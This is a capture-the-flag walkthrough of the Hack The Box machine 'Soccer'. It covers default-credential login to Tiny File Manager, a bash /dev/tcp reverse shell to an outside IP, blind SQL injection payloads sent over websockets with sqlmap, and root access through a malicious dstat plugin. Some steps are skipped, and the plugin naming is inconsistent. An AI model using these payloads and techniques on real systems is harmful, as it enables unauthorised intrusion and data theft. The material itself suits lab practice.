┌──(kali💀kali)-[~]
└─$ whatweb -a3 http://soccer.htb/ -v
WhatWeb report for http://soccer.htb/
Status : 200 OK
Title : Soccer - Index
IP : 10.10.11.194
Country : RESERVED, ZZ
Summary : Bootstrap[4.1.1], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], JQuery[3.2.1,3.6.0], nginx[1.18.0], Script, X-UA-Compatible[IE=edge]
Detected Plugins:
[ Bootstrap ]
Bootstrap is an open source toolkit for developing with
HTML, CSS, and JS.
Version : 4.1.1
Version : 4.1.1
Website : https://getbootstrap.com/
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : nginx/1.18.0 (Ubuntu) (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 3.2.1,3.6.0
Website : http://jquery.com/
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:
http://msdn.microsoft.com/en-us/library/cc817574.aspx
String : IE=edge
[ nginx ]
Nginx (Engine-X) is a free, open-source, high-performance
HTTP server and reverse proxy, as well as an IMAP/POP3
proxy server.
Version : 1.18.0
Website : http://nginx.net/
HTTP Headers:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 29 Jan 2024 04:53:55 GMT
Content-Type: text/html
Last-Modified: Thu, 17 Nov 2022 08:07:11 GMT
Transfer-Encoding: chunked
Connection: close
ETag: W/"6375ebaf-1b05"
Content-Encoding: gzip
┌──(kali💀kali)-[~]
└─$ nikto -h http://soccer.htb
+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7962 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2024-01-29 00:45:43 (GMT-5) (2898 seconds)
The Page is developed by Tiny File Manager which uses 2 default credentials that are mentioned in their GitHub documentation.
Try to Login with those Credentials.
username: admin
password: admin@123
username: user
password: 12345
We logged In as Admin
Foot Hold: Shell as www-data
Tiny File Manager:
Logged in, the page show the files that are part of the Soccer website:
http://soccer.htb/tiny/tinyfilemanager.php?p=tiny&view=tinyfilemanager.php// Login user name and password// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html$auth_users =array('admin'=>'$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW',//admin@123'user'=>'$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO'//12345// if User has the customized config file, try to use it to override the default config above$config_file ='config.php';if (is_readable($config_file)) {@include($config_file);
The tiny directory has the filemanager page, as well as the uploads directory There is a “File Upload” feature that we can use to obtain a Reverse shell
I’ll use the “Upload” button, and it offers a way to upload
If I try to upload in /var/www/html/, it fails
If I navigate to /tiny/uploads and then click “Upload”, it works:
Destination Folder: /var/www/html/tiny/uploads
There’s still not much information about what 9091 could be. Port 3000 looks to be another web page:
www-data@soccer:/$ curl localhost:3000
3306 and 33060 both seem to be MySQL instances:
www-data@soccer:/$ mysql -p 3306
www-data@soccer:/$ mysql -p 33060
It’s hard to verify any of this as www-data can only read it’s own processes:
www-data@soccer://home/player$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www-data 1093 0.1 0.1 54212 6456 ? S 02:48 0:47 nginx: worker process
www-data 1094 0.1 0.1 54080 6200 ? S 02:48 0:32 nginx: worker process
www-data 3542 0.0 0.0 2608 532 ? S 07:04 0:00 sh -c bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"
www-data 3543 0.0 0.0 3976 2916 ? S 07:04 0:00 bash -c bash -i >& /dev/tcp/10.10.16.6/443 0>&1
www-data 3544 0.0 0.0 4108 3588 ? S 07:04 0:00 bash -i
www-data 3550 0.0 0.2 15956 9448 ? R 07:05 0:00 python3 -c import pty;pty.spawn('/bin/bash')
www-data 3551 0.0 0.0 7304 3696 pts/0 Ss 07:05 0:00 /bin/bash
That is because /proc is mounted with hidepid=2:
www-data@soccer://home/player$ mount | grep ^proc
proc on /proc type proc (rw,nodev,relatime,hidepid=2)
nginx
There’s nothing else of interest in the system root or /opt or /srv. I’ll look at how nginx is configured. There are two site files in /etc/nginx/sites-enabled:
www-data@soccer://home/player$ cd /etc/nginx/sites-enabled
www-data@soccer:/etc/nginx/sites-enabled$ ls
default soc-player.htb
default set up the redirect to soccer.htb: It also configures the main site, allowing it PHP for PHP files: soc-player.htb sets up another site that matches on the name soc-player.soccer.htb: This webserver is hosted out of /root/, which is interesting, and passes to localhost 3000 (as observed previously).
Let’s add the soc-player.soccer.htb to our /etc/hosts and open it in the browser
This site looks exactly the same as the previous, except it has more options in the menu bar: “Match” has a page with a couple matches on it: It mentions a free ticket with login. I’ll register an account on the login: After logging in, it redirects to /check, where I get a ticket id:
I can put a ticket id into the field and hit enter, and it tells me that the ticket exists: Or a different number does not exist:
It’s running Express, a NodeJS web framework.
Websockets:
There’s another interesting request. Logging in submits a POST request to /login. On success, it returns a 302 redirect to /check. As that page is loading, it makes a request to soc-player.soccer.htb:9091, which returns a 101:
TCP 9091 is a websocket server. There’s no immediate messages shown in the “WebSockets history” tab in Burp. But once I check a ticket, there’s a message and a response: The sent message is simply JSON with the id: The response is just the text that is shown:
SQL Injection over Websockets:
Identify
I’ll send one of the “To server” message to Burp Repeater and play around with it. Adding in a ' doesn’t do anything other than return “Ticket Doesn’t Exist”. Any time I’m trying SQLI with an integer value, it’s worth trying without a ' as well. The ' is used to close strings, but if the input is being handled as an integer, perhaps just an ' or 1=1– - will work (where – - is to comment out whatever follows). It does: There is no ticket 0, but it still returns exists because it pulls all rows.
Blind SQL Injection Background
This is a blind SQL injection - no data from the database comes back in the response, only one of two responses. The goal is to be able to ask questions of the database. For example, “is there a username that starts with ‘a’”? To get there, first I’ll need to be able to picture the query being run on the system. It’s going to be something like:
SELECT*from ticket where id = {id};
If one or more rows return, then it says the ticket exists, else it doesn’t. To make a test, there are a few ways I could structure a query. For manual testing, I prefer to use a UNION injection. I’ll send something that will return no rows, and then use a UNION to make another query, and then if that query returns rows, it will return that the “Ticket Exists”. It’s also possible to make these queries using OR foo=bar to test, but I find those more difficult to think about when doing the manual approach. I’ll also note that the app seems to handle query errors by returning “Ticket Doesn’t Exist” rather than crashing.
Manually Building a UNION
I need to know the number of columns returned from the query, because my UNION statement must return the same number, or it crashes. If I send one, it returns false:
I’ll add more columns until it returns true at three columns:
Now the query on the server looks like this:
SELECT*from ticket where id =0UNIONSELECT1,2,3;
The first select returns no row, and then my UNION returns the values 1, 2, 3, and it returns “Ticket Exists”.
Manually Asking a Question
Now to ask a question. In MySQL, there’s a mysql.user table with the users that can log into MySQL. I’m going to send this payload that will return true if there’s a user in that table that starts with “a”:
{"id":"0 UNION select user,2,3 from mysql.user where user like 'a%'-- -"}
It returns false. There is likely a user named “root”, and changing “a” to “r”, it returns true: With enough requests, any value from the table can be brute-forced one character at a time.
sqlmap
Doing all of this manually is impossible, so I’ll either have to write a script to do it, or find a tool. sqlmap is the perfect tool here, and it even works over websockets. If sqlmap returns this error, it’s because the Python websockets library is missing:
[21:17:13] [CRITICAL] sqlmap requires third-party module 'websocket-client' in order to use WebSocket functionality
Or if sqlmap returns this error, it’s because the wrong websockets library is installed:
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmapapi.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmap.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/thirdparty/identywaf/identYwaf.py'
[21:18:30] [CRITICAL] wrong websocket library detected (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-77504
1086')
Either of these are fixed with: pip install websocket-client I’ll give it the following arguments:
-u "ws://soc-player.soccer.htb:9091" - The URL to connect to.
--data '{"id": "1234"}' - The data to send.
--dbms mysql - Tell sqlmap that it’s running MySQL.
--batch - Take the default answer on all questions.
--level 5 --risk 3 - Increase to the most aggressive to find the boolean injection (without this it just finds a time-based injection, which is really slow).
It finds a time-based injection, and then finds the three column UNION-based boolean as well: It’s using the OR structure for boolean rather than UNION.
┌──(kali💀kali)-[~]
└─$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --lev
el 5 --risk 3
Enumerate DB:
List Databases
Now that sqlmap has found an injection, I’ll up-arrow and add --dbs to the previous command. Theads are safe to do in a boolean injection, so I’ll add --threads 10 to speed it up. It will pick up where it left off and list the available databases:
List Tables in soccer_db
soccer_db seems like the only non-default DB. I’ll replace --dbs with -D soccer_db to specify that database and then add --tables to list the tables:
Dump accounts
In general, with boolean and time-based SQL injections, I want to be careful about dumping tons of data, as it will be very slow. That said, since there’s only one table, I want the entire thing, so I’ll replace --tables with -T accounts and add --dump. It dumps the table:
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
player can run the command dstat as root.
dstat:
man Page
dstat is a tool for getting system information. Looking at the man page, there’s a section on plugins that says:
While anyone can create their own dstat plugins (and contribute them) dstat ships with a number of plugins already that extend its capabilities greatly.
At the very bottom of the page, it has a section on files: Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
Plugins are Python scripts with the name dstat_[plugin name].py.
Malicious Plugin:
I’ll write a very simple plugin:
import os
os.system("/bin/bash")
This will drop into Bash for an interactive shell. Looking at the list of locations, I can obviously write to ~/.dstat, but when run with doas, it’ll be running as root, and therefore won’t check /home/player/.dstat. Luckily, /usr/local/share/dstat is writable.
With that in place, I’ll invoke dstat with the 0xdf plugin:
player@soccer:~$ doas /usr/bin/dstat --exodus
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/home/player# whoami
root
root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)
root@soccer:/home/player# cd ~
root@soccer:~# ls
app root.txt run.sql snap
root@soccer:~# cat root.txt
1b2789----------------------------